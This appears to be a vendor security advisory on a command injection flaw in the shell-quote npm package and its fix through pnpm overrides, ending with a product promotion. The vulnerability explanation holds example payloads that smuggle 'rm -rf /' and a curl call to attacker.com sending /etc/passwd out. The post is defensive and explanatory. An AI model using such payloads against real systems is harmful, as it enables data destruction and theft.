How Command Injection Happens in Node.js shell-quote and How to Fix It
Summary
CVE-2026-9277 is a critical command injection vulnerability in the shell-quote npm package (versions prior to 1.8.4) caused by unescaped line terminators that allow attackers to inject and execute arbitrary shell commands. The fix pins shell-quote to >=1.8.4 via a pnpm.overrides entry, ensuring every transitive consumer in the dependency tree receives the patched version. Any Node.js project that processes user-influenced input through shell-quote and has not yet upgraded is at risk of full remote code execution.
Introduction
The pnpm-lock.yaml file in this repository locked shell-quote at version 1.8.3—a version that Trivy's CVE scanner flagged as critically vulnerable. While lockfiles are often overlooked during security reviews, they are the authoritative record of exactly which package versions are running in production. In this case, that record revealed that every workspace package depending on shell-quote was exposed to CVE-2026-9277: arbitrary code execution via command injection caused by unescaped line terminator characters.
The problem is subtle. shell-quote is widely used to safely construct shell command strings from arrays of arguments—it is the library you reach for precisely because you want to avoid shell injection. But version 1.8.3 contained a flaw where certain Unicode line terminators (characters such as \u2028 LINE SEPARATOR and \u2029 PARAGRAPH SEPARATOR) were not properly escaped. An attacker who can influence any string passed through shell-quote's quoting logic can embed one of these characters to terminate the current argument context and inject a new, unquoted command segment.
The Vulnerability Explained
What shell-quote Does
shell-quote exposes two primary functions: quote(args) and parse(cmd). The quote function takes an array of strings and returns a single shell-safe string where each argument is properly escaped or quoted. The intended use looks like this:
const { quote } = require('shell-quote');
const userInput = req.body.filename; // attacker-controlled
const cmd = `cat ${quote([userInput])}`;
// Expected: cat 'somefile.txt'
// Dangerous if quote() fails to escape special chars
The assumption baked into every caller is: whatever I pass to quote(), the output will be safe to interpolate into a shell string. CVE-2026-9277 breaks that assumption.
The Vulnerable Code Pattern
In shell-quote@1.8.3, the quoting logic did not account for Unicode line terminator characters. Consider an attacker supplying this string as userInput:
foo\u2028; rm -rf /
Because \u2028 (LINE SEPARATOR) was not in the set of characters that triggered escaping, shell-quote would emit something equivalent to:
cat 'foo
; rm -rf /'
Depending on the shell and how the resulting string is interpreted, the line break can cause the shell to treat ; rm -rf / as a separate command. The quoted boundary is effectively broken by a character the library did not know to neutralize.
The lockfile entry that exposed this:
# pnpm-lock.yaml (before fix)
shell-quote@1.8.3:
resolution: {integrity: sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQ...}
engines: {node: '>=8'}
Attack Scenario
- A developer uses
shell-quoteto build a shell command from a user-supplied filename in an API endpoint. - An attacker sends a POST request with a
filenamefield containingreport\u2028; curl https://attacker.com/exfil?d=$(cat /etc/passwd). shell-quote@1.8.3quotes the string but does not escape\u2028.- The shell interprets the output as two commands: the intended
cat 'report'and the injectedcurlexfiltration command. - The attacker receives the contents of
/etc/passwd—or worse, establishes a reverse shell.
Because this is a production dependency (not test-only), any server-side code path that invokes shell-quote with user-influenced data is a potential entry point.
The Fix
What Changed
The fix involved three coordinated changes across package.json, pnpm-lock.yaml, and CONTRIBUTING.md.
1. package.json — Adding the Override
// Before
"pnpm": {
"overrides": {
"react-dom": "19.2.3",
"fast-xml-parser": ">=5.7.0",
"postcss": ">=8.5.10",
"serialize-javascript": ">=7.0.5"
}
}
// After
"pnpm": {
"overrides": {
"react-dom": "19.2.3",
"fast-xml-parser": ">=5.7.0",
"postcss": ">=8.5.10",
"serialize-javascript": ">=7.0.5",
"shell-quote": ">=1.8.4" // ← new line
}
}
The pnpm.overrides field forces pnpm to resolve shell-quote to >=1.8.4 for every package in the dependency tree that requests it—regardless of what version each individual package specifies in its own package.json. This is the correct approach for transitive CVEs where you do not directly import the vulnerable package at the root level.
2. pnpm-lock.yaml — Lockfile Updated
# Before
overrides:
fast-xml-parser: '>=5.7.0'
postcss: '>=8.5.10'
serialize-javascript: '>=7.0.5'
# After
overrides:
fast-xml-parser: '>=5.7.0'
postcss: '>=8.5.10'
serialize-javascript: '>=7.0.5'
shell-quote: '>=1.8.4' # ← new line
And the resolved package entry changes from:
shell-quote@1.8.3:
resolution: {integrity: sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQ...}
engines: {node: '>=8'}
to the 1.8.4 entry with its updated integrity hash. This ensures that pnpm install in CI and on developer machines will never again pull down 1.8.3.
3. CONTRIBUTING.md — Process Documentation
The PR also added a new "Security updates" section to CONTRIBUTING.md explaining exactly how to handle transitive dependency CVEs going forward:
### Security updates
For transitive dependency CVEs, pin the patched version in root `package.json`
under `pnpm.overrides`. Do not add a root-level `dependencies` entry for
packages the repo does not import directly.
Run `pnpm install`, commit the lockfile, and confirm the vulnerable version
is gone. Use `>=` to match existing override entries. No changeset needed.
This documentation prevents future contributors from accidentally adding a spurious root-level dependencies entry for a package they do not directly import—a common mistake that pollutes the dependency graph without actually fixing the transitive resolution.
Why >=1.8.4 Instead of =1.8.4
Using >=1.8.4 rather than pinning to an exact version means the override will automatically accept future patch releases of shell-quote (e.g., 1.8.5, 1.8.6) without requiring another manual update. This balances security (no version below 1.8.4 is ever resolved) with maintainability (future non-breaking patches are not blocked).
Prevention & Best Practices
1. Audit Transitive Dependencies Regularly
The vulnerable package was a transitive dependency—not something the repository directly imported. Tools like Trivy, pnpm audit, and Dependabot can surface these hidden risks. Run them in CI on every pull request.
# Check for known CVEs in your lockfile
pnpm audit --audit-level=high
trivy fs --scanners vuln .
2. Use pnpm.overrides (or npm overrides / yarn resolutions) for Transitive CVEs
When a CVE affects a package you do not import directly, the correct fix is a package manager override—not adding a phantom root dependency. This keeps your package.json semantically accurate.
// package.json
"pnpm": {
"overrides": {
"vulnerable-package": ">=safe-version"
}
}
3. Prefer Argument Arrays Over Shell Strings
When spawning child processes in Node.js, prefer child_process.execFile or child_process.spawn with an explicit argument array. These APIs bypass the shell entirely, making shell injection impossible regardless of what escaping library you use:
// Risky: shell string construction
const { exec } = require('child_process');
exec(`cat ${quote([userInput])}`); // depends on quote() being correct
// Safer: argument array, no shell involved
const { execFile } = require('child_process');
execFile('cat', [userInput]); // shell never sees userInput
4. Validate Input Before It Reaches Shell-Quoting Logic
Even with a patched shell-quote, apply an allowlist or strict validation to any user-supplied value before it enters command construction logic:
const SAFE_FILENAME = /^[a-zA-Z0-9._-]+$/;
if (!SAFE_FILENAME.test(userInput)) {
throw new Error('Invalid filename');
}
5. Relevant Standards
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- OWASP A03:2021 – Injection: Command injection is a first-class injection category
- OWASP Command Injection Defense Cheat Sheet: Recommends avoiding shell construction entirely and using parameterized APIs
Key Takeaways
shell-quote@1.8.3is not safe for user-influenced input: The unescaped line terminator bug means the library's core promise—safe shell quoting—was broken for a specific class of Unicode characters.- Lockfiles are security artifacts: The vulnerability was pinned in
pnpm-lock.yamlat1.8.3. Regularly scanning your lockfile with tools like Trivy is as important as scanning your source code. pnpm.overridesis the right tool for transitive CVEs: Addingshell-quotetopnpm.overridesrather thandependenciescorrectly forces the patched version without polluting the direct-dependency graph.- Document your security fix process: The addition of a "Security updates" section to
CONTRIBUTING.mdmeans future contributors know exactly how to handle the next transitive CVE—reducing the chance of an incorrect fix. - Argument arrays beat shell strings: If the code paths consuming
shell-quotecan be refactored to useexecFilewith an argument array, the entire class of shell injection risk is eliminated regardless of what version ofshell-quoteis installed.
How Orbis AppSec Detected This
- Source: User-influenced strings passed to
shell-quote'squote()function, entering via any API endpoint or CLI argument that constructs shell commands. - Sink: Any call site invoking
shell-quote@1.8.3's quoting logic where the resulting string is passed to a shell interpreter (e.g.,child_process.exec,child_process.spawnwithshell: true). - Missing control:
shell-quote@1.8.3lacked escaping logic for Unicode line terminator characters (\u2028,\u2029), allowing those characters to break out of quoted argument boundaries. - CWE: CWE-78 – Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
- Fix: The
shell-quotedependency was pinned to>=1.8.4viapnpm.overridesinpackage.json, and the lockfile was regenerated to resolve the patched version across all transitive consumers.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
CVE-2026-9277 is a sharp reminder that even security-focused libraries can harbor subtle flaws. shell-quote exists specifically to make shell command construction safe—yet a single class of unescaped characters was enough to render it exploitable. The fix is straightforward: upgrade to 1.8.4 and use pnpm.overrides to enforce that version across your entire dependency tree. More broadly, treat your lockfile as a security document, scan it continuously, and wherever possible prefer argument-array APIs that never invoke a shell at all.